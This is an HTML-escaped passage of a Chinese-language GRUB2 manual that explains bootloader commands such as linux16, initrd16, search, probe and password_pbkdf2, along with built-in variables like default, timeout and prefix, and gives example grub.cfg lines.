&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th&gt;&lt;code&gt;help [pattern]&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;显示能匹配到pattern的所有命令的说明信息和usage信息，如果不指定patttern，将显示所有命令的简短信息。&lt;&#x2F;p&gt;
&lt;p&gt;例如&lt;code&gt;help cmos&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;grub2-manual&#x2F;grub-help-cmos.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h3 id=&quot;1-4-2-bootming-ling&quot;&gt;1.4.2 boot命令&lt;&#x2F;h3&gt;
&lt;p&gt;用于启动已加载的操作系统。&lt;&#x2F;p&gt;
&lt;p&gt;只在交互式命令行下可用。其实在menuentry命令的结尾就隐含了boot命令。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;1-4-3-sethe-unsetming-ling&quot;&gt;1.4.3 set和unset命令&lt;&#x2F;h3&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;2&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th style=&quot;text-align: left&quot;&gt;&lt;code&gt;set [envvar=value]&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;unset envvar&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;前者设置环境变量envvar的值，如果不给定参数，则列出当前环境变量。&lt;&#x2F;p&gt;
&lt;p&gt;后者释放环境变量envvar。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;1-4-4-lsmodming-ling-he-insmodming-ling&quot;&gt;1.4.4 lsmod命令和insmod命令&lt;&#x2F;h3&gt;
&lt;p&gt;分别用于列出已加载的模块和调用指定的模块。&lt;&#x2F;p&gt;
&lt;p&gt;注意，若要导入支持ext文件系统的模块时，只需导入ext2.mod即可，实际上也没有ext3和ext4对应的模块。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;1-4-5-linuxhe-linux16ming-ling&quot;&gt;1.4.5 linux和linux16命令&lt;&#x2F;h3&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;2&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th style=&quot;text-align: left&quot;&gt;&lt;code&gt;linux file [kernel_args]&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;linux16 file [kernel_args]&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;都表示装载指定的内核文件，并传递内核启动参数。linux16表示以传统的16位启动协议启动内核，linux表示以32位启动协议启动内核，但linux命令比linux16有一些限制。但绝大多数时候，它们是可以通用的。&lt;&#x2F;p&gt;
&lt;p&gt;在linux或linux16命令之后，必须紧跟着使用init或init16命令装载init ramdisk文件。&lt;&#x2F;p&gt;
&lt;p&gt;一般为&#x2F;boot分区下的&lt;code&gt;vmlinuz-RELEASE_NUM&lt;&#x2F;code&gt;文件。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;grub2-manual&#x2F;grub2-vmlinuz-boot-files.png&quot; alt=&quot;image&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;但在grub环境下，boot分区被当作root分区，即根分区，假如boot分区为第一块磁盘的第一个分区，则应该写成：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th&gt;&lt;code&gt;linux (hd0,msdos1)&#x2F;vmlinuz-XXX&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;或者相对路径的：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;2&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;3&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th style=&quot;text-align: left&quot;&gt;&lt;code&gt;set root=&#x27;hd0,msdos1&#x27;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;linux &#x2F;vmlinuz-XXX&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;在grub阶段可以传递内核的启动参数(内核的参数包括3类：编译内核时参数，启动时参数和运行时参数)，可以传递的启动参数非常非常多，完整的启动参数列表见：&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;http:&#x2F;&#x2F;redsymbol.net&#x2F;linux-kernel-boot-parameters&quot;&gt;http:&#x2F;&#x2F;redsymbol.net&#x2F;linux-kernel-boot-parameters&lt;&#x2F;a&gt;。这里只列出几个常用的：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;2&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;3&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;4&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;5&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;6&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;7&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;8&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;9&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th style=&quot;text-align: left&quot;&gt;&lt;code&gt;init=   ：指定Linux启动的第一个进程init的替代程序。&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;root=   ：指定根文件系统所在分区，在grub中，该选项必须给定。&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;ro,rw   ：启动时，根分区以只读还是可读写方式挂载。不指定时默认为ro。&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;initrd  ：指定init ramdisk的路径。在grub中因为使用了initrd或initrd16命令，所以不需要指定该启动参数。&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;rhgb    ：以图形界面方式启动系统。&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;quiet   ：以文本方式启动系统，且禁止输出大多数的log message。&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;net.ifnames=0：用于CentOS 7，禁止网络设备使用一致性命名方式。&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;biosdevname=0：用于CentOS 7，也是禁止网络设备采用一致性命名方式。&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;             ：只有net.ifnames和biosdevname同时设置为0时，才能完全禁止一致性命名，得到eth0-N的设备名。&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;例如：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th&gt;&lt;code&gt;linux16 &#x2F;vmlinuz-3.10.0-327.el7.x86\_64 root=UUID=edb1bf15-9590-4195-aa11-6dac45c7f6f3 ro rhgb quiet LANG=en\_US.UTF-8&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;另外，root启动参数有多种定义方式，可以使用UUID的方式指定，也可以直接指定根文件系统所在分区，如&lt;code&gt;root=&#x2F;dev&#x2F;sda2&lt;&#x2F;code&gt;，&lt;&#x2F;p&gt;
&lt;h3 id=&quot;1-4-6-initrdhe-initrd16ming-ling&quot;&gt;1.4.6 initrd和initrd16命令&lt;&#x2F;h3&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th&gt;&lt;code&gt;initrd file&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;只能紧跟在linux或linux16命令之后使用，用于为即将启动的内核传递init ramdisk路径。&lt;&#x2F;p&gt;
&lt;p&gt;同样，基于根分区，可以使用绝对路径，也可以使用相对路径。路径的表示方法和linux或linux16命令相同。例如：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;2&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;3&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th style=&quot;text-align: left&quot;&gt;&lt;code&gt;linux16 &#x2F;vmlinuz-0-rescue-d13bce5e247540a5b5886f2bf8aabb35 root=UUID=b2a70faf-aea4-4d8e-8be8-c7109ac9c8b8 ro crashkernel=auto quiet&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;initrd16 &#x2F;initramfs-0-rescue-d13bce5e247540a5b5886f2bf8aabb35.img&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;h3 id=&quot;1-4-7-searchming-ling&quot;&gt;1.4.7 search命令&lt;&#x2F;h3&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th&gt;&lt;code&gt;search [--file|--label|--fs-uuid] [--set [var]] [--no-floppy] [--hint args] name&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;通过文件&lt;code&gt;[--file]&lt;&#x2F;code&gt;、卷标&lt;code&gt;[--label]&lt;&#x2F;code&gt;、文件系统UUID&lt;code&gt;[--fs-uuid]&lt;&#x2F;code&gt;来搜索设备。&lt;&#x2F;p&gt;
&lt;p&gt;如果使用了&lt;code&gt;--set&lt;&#x2F;code&gt;选项，则会将第一个找到的设备设置为环境变量”var”的值，默认的变量”var”为’root’。&lt;&#x2F;p&gt;
&lt;p&gt;搜索时可使用&lt;code&gt;--no-floppy&lt;&#x2F;code&gt;选项来禁止搜索软盘，因为软盘速度非常慢，已经被淘汰了。&lt;&#x2F;p&gt;
&lt;p&gt;有时候还会指定&lt;code&gt;--hint=XXX&lt;&#x2F;code&gt;，表示优先选择满足提示条件的设备，若指定了多个hint条件，则优先匹配第一个hint，然后匹配第二个，依次类推。&lt;&#x2F;p&gt;
&lt;p&gt;例如：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;2&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;3&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;4&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;5&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;6&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;7&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;8&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;9&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th style=&quot;text-align: left&quot;&gt;&lt;code&gt;if [ x$feature_platform_search_hint = xy ]; then&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    search --no-floppy --fs-uuid --set=root --hint-bios=hd0,msdos1 --hint-efi=hd0,msdos1 --hint-baremetal=ahci0,msdos1 --hint=&#x27;hd0,msdos1&#x27; 367d6a77-033b-4037-bbcb-416705ead095&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;else&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    search --no-floppy --fs-uuid --set=root 367d6a77-033b-4037-bbcb-416705ead095&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;fi&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;linux16 &#x2F;vmlinuz-3.10.0-327.el7.x86_64 root=UUID=b2a70faf-aea4-4d8e-8be8-c7109ac9c8b8 ro crashkernel=auto quiet LANG=en_US.UTF-8&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;initrd16 &#x2F;initramfs-3.10.0-327.el7.x86_64.img&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;上述if语句中的第一个search中搜索uuid为”367d6a77-033b-4037-bbcb-416705ead095”的设备，但使用了多个hint选项，表示先匹配bios平台下&#x2F;boot分区为(hd0,msdos1)的设备，之后还指定了几个hint，但因为search使用的是uuid搜索方式，所以这些hint选项是多余的，因为单磁盘上分区的uuid是唯一的。&lt;&#x2F;p&gt;
&lt;p&gt;再举个例子，如果某启动设备上有两个boot分区(如多系统共存时)，分别是(hd0,msdos1)和(hd0,msdos5)，如果此时不使用uuid搜索，而是使用label方式搜索:&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th&gt;&lt;code&gt;search --no-floppy --fs-label=boot --set=root --hint=hd0,msdos5&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;则此时将会选中&lt;code&gt;(hd0,msdos5)&lt;&#x2F;code&gt;这个boot分区，若不使用hint，将选中(hd0,msdos1)这个boot分区。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;1-4-8-truehe-falseming-ling&quot;&gt;1.4.8 true和false命令&lt;&#x2F;h3&gt;
&lt;p&gt;直接返回true或false布尔值。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;1-4-9-test-expressionhe-expression&quot;&gt;1.4.9 test expression和[ expression ]&lt;&#x2F;h3&gt;
&lt;p&gt;用法等同于test命令，用于计算”expression”的结果是否为真，为真时返回0，否则返回非0，主要用于if、while或until结构中。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;1-4-10-catming-ling&quot;&gt;1.4.10 cat命令&lt;&#x2F;h3&gt;
&lt;p&gt;读取文件内容，借此可以帮助判断哪个是boot分区，哪个是根分区。&lt;&#x2F;p&gt;
&lt;p&gt;交互式命令行下使用。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;1-4-11-clearming-ling&quot;&gt;1.4.11 clear命令&lt;&#x2F;h3&gt;
&lt;p&gt;清屏。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;1-4-12-configfileming-ling&quot;&gt;1.4.12 configfile命令&lt;&#x2F;h3&gt;
&lt;p&gt;立即装载一个指定的文件作为grub的配置文件。但注意，导入的文件中的环境变量不在当前生效。&lt;&#x2F;p&gt;
&lt;p&gt;在grub.cfg丢失时，该命令将排上用场。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;1-4-13-echoming-ling&quot;&gt;1.4.13 echo命令&lt;&#x2F;h3&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th&gt;&lt;code&gt;echo [-n] [-e] string&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;“-n”和”-e”用法同shell中echo。如果要引用变量，使用&lt;code&gt;${var}&lt;&#x2F;code&gt;的方式。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;1-4-14-exportming-ling&quot;&gt;1.4.14 export命令&lt;&#x2F;h3&gt;
&lt;p&gt;导出环境变量，若在configfile的file中导出环境变量，将会在当前环境也生效。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;1-4-15-halthe-rebootming-ling&quot;&gt;1.4.15 halt和reboot命令&lt;&#x2F;h3&gt;
&lt;p&gt;关机或重启&lt;&#x2F;p&gt;
&lt;h3 id=&quot;1-4-16-lsming-ling&quot;&gt;1.4.16 ls命令&lt;&#x2F;h3&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th&gt;&lt;code&gt;ls [args]&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;如果不给定任何参数，则列出grub可见的设备。&lt;&#x2F;p&gt;
&lt;p&gt;如果给定的参数是一个分区，则显示该分区的文件系统信息。&lt;&#x2F;p&gt;
&lt;p&gt;如果给定的参数是一个绝对路径表示的目录，则显示该目录下的所有文件。&lt;&#x2F;p&gt;
&lt;p&gt;例如：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;grub2-manual&#x2F;grub2-ls-command-example.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h3 id=&quot;1-4-17-probeming-ling&quot;&gt;1.4.17 probe命令&lt;&#x2F;h3&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th&gt;&lt;code&gt;probe [--set var] --partmap|--fs|--fs-uuid|--label device&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;探测分区或磁盘的属性信息。如果未指定&lt;code&gt;--set&lt;&#x2F;code&gt;，则显示指定设备对应的信息。如果指定了&lt;code&gt;--set&lt;&#x2F;code&gt;，则将对应信息的值赋给变量var。&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;2&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;3&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;4&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th&gt;&lt;code&gt;--partmap：显示是gpt还是mbr格式的磁盘。&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;--fs：显示分区的文件系统。&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;--fs-uuid：显示分区的uuid值。&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;--label：显示分区的label值。&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;h3 id=&quot;1-4-18-save-envhe-list-envming-ling&quot;&gt;1.4.18 save_env和list_env命令&lt;&#x2F;h3&gt;
&lt;p&gt;将环境变量保存到环境变量块中，以及列出当前的环境变量块中的变量。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;grub2-manual&#x2F;grub2-save-env-list-env.png&quot; alt=&quot;image&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h3 id=&quot;1-4-19-loopbackming-ling&quot;&gt;1.4.19 loopback命令&lt;&#x2F;h3&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th&gt;&lt;code&gt;loopback [-d] device file&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;将file映射为回环设备。使用&lt;code&gt;-d&lt;&#x2F;code&gt;选项则是删除映射。&lt;&#x2F;p&gt;
&lt;p&gt;例如：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;2&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th&gt;&lt;code&gt;loopback loop0 &#x2F;path&#x2F;to&#x2F;image&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;ls (loop0)&#x2F;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;h3 id=&quot;1-4-20-normalhe-normal-exitming-ling&quot;&gt;1.4.20 normal和normal_exit命令&lt;&#x2F;h3&gt;
&lt;p&gt;进入和退出normal模式，normal是相对于救援模式而言的，只要不是在救援模式下，就是在normal模式下。&lt;&#x2F;p&gt;
&lt;p&gt;救援模式下，只能使用非常少的命令，而normal模式下则可以使用非常多的命令。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;1-4-21-passwordhe-password-pbkdf2ming-ling&quot;&gt;1.4.21 password和password_pbkdf2命令&lt;&#x2F;h3&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;2&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th&gt;&lt;code&gt;password user clear-password&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;password_pbkdf2 user hashed-password&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;前者使用明文密码定义一个名为user的用户。不建议使用此命令。&lt;&#x2F;p&gt;
&lt;p&gt;后者使用哈希加密后的密码定义一个名为user的用户，加密的密码通过&lt;code&gt;grub-mkpasswd-pbkdf2&lt;&#x2F;code&gt;工具生成。建议使用该命令。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;1-5-ji-ge-chang-she-zhi-de-nei-zhi-bian-liang&quot;&gt;1.5 几个常设置的内置变量&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;1-5-1-chosenbian-liang&quot;&gt;1.5.1 chosen变量&lt;&#x2F;h3&gt;
&lt;p&gt;当开机时选中某个菜单项启动时，该菜单的title将被赋值给chosen变量。该变量一般只用于引用，而不用于修改。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;1-5-2-cmdpathbian-liang&quot;&gt;1.5.2 cmdpath变量&lt;&#x2F;h3&gt;
&lt;p&gt;grub2加载的core.img的目录路径，是绝对路径，即包括了设备名的路径，如(hd0,gpt1)&#x2F;boot&#x2F;grub2&#x2F;。该变量值不应该修改。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;1-5-3-defaultbian-liang&quot;&gt;1.5.3 default变量&lt;&#x2F;h3&gt;
&lt;p&gt;指定默认的菜单项，一般其后都会跟随timeout变量。&lt;&#x2F;p&gt;
&lt;p&gt;default指定默认菜单时，可使用菜单的title，也可以使用菜单的id，或者数值顺序，当使用数值顺序指定default时，从0开始计算。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;1-5-4-timeoutbian-liang&quot;&gt;1.5.4 timeout变量&lt;&#x2F;h3&gt;
&lt;p&gt;设置菜单等待超时时间，设置为0时将直接启动默认菜单项而不显示菜单，设置为”-1”时将永久等待手动选择。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;1-5-5-fallbackbian-liang&quot;&gt;1.5.5 fallback变量&lt;&#x2F;h3&gt;
&lt;p&gt;当默认菜单项启动失败，则使用该变量指定的菜单项启动，指定方式同default，可使用数值(从0开始计算)、title或id指定。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;1-5-6-grub-platformbian-liang&quot;&gt;1.5.6 grub_platform变量&lt;&#x2F;h3&gt;
&lt;p&gt;指定该平台是”pc”还是”efi”，pc表示的就是传统的bios平台。&lt;&#x2F;p&gt;
&lt;p&gt;该变量不应该被修改，而应该被引用，例如用于if判断语句中。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;1-5-7-prefixbian-liang&quot;&gt;1.5.7 prefix变量&lt;&#x2F;h3&gt;
&lt;p&gt;在grub启动的时候，grub自动将&#x2F;boot&#x2F;grub2目录的绝对路径赋值给该变量，使得以后可以直接从该变量所代表的目录下加载各文件或模块。&lt;&#x2F;p&gt;
&lt;p&gt;例如，可能自动设置为：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th&gt;&lt;code&gt;set prefix = (hd0,gpt1)&#x2F;boot&#x2F;grub2&#x2F;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;所以可以使用&lt;code&gt;$prefix&#x2F;grubN.cfg&lt;&#x2F;code&gt;来引用&#x2F;boot&#x2F;grub2&#x2F;grubN.cfg文件。&lt;&#x2F;p&gt;
&lt;p&gt;该变量不应该修改，且若手动设置，则必须设置正确，否则牵一发而动全身。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;1-5-8-rootbian-liang&quot;&gt;1.5.8 root变量&lt;&#x2F;h3&gt;
&lt;p&gt;该变量指定根设备的名称，使得后续使用从”&#x2F;“开始的相对路径引用文件时将从该root变量指定的路径开始。一般该变量是grub启动的时候由grub根据prefix变量设置而来的。&lt;&#x2F;p&gt;
